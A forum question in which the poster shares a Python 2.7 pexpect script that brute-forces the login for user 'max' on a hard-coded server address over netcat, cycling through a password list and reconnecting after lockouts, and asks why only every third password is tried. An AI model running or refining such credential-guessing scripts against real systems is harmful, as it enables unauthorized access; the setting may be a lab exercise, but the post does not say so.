title: Pexpect Brute Force, Python 2.7
body: <p>I've written a program that connects to a server on port 80, the goal being to brute force the login to gain access to the files inside. </p>
  
  <p>I'm using john.txt as my password list, I know this list contains the password I need. When I run the program, it starts to attempt different passwords, but it's only testing every 3rd password in the list.</p>
  
  <p>Here's my code:</p>
  
  <pre><code>import pexpect
  
  password_list = 'john.txt'
  passwords = open(password_list)
  child = pexpect.spawn('nc 83.212.97.72 80')
  
  for x in passwords.readlines():
      ans = child.expect(['Login:', 'Password:', 'Login Incorrect', 'Too many failed attempts', 'Welcome max'])
  
      if ans == 0:
          child.sendline('max')
  
      elif ans == 1:
          child.sendline(x)
          print 'Attemping {}'.format(x)
  
      elif ans == 2:
          child = pexpect.spawn('nc 83.212.97.72 80')
  
      elif ans == 3:
          child = pexpect.spawn('nc 83.212.97.72 80')
  
      elif ans == 4:
          print 'Login completed, welcome max'
  </code></pre>
  
  <p>As far as I can tell, there's no Syntax errors in my code, does anyone know why the program is only testing every 3rd password in john.txt? </p>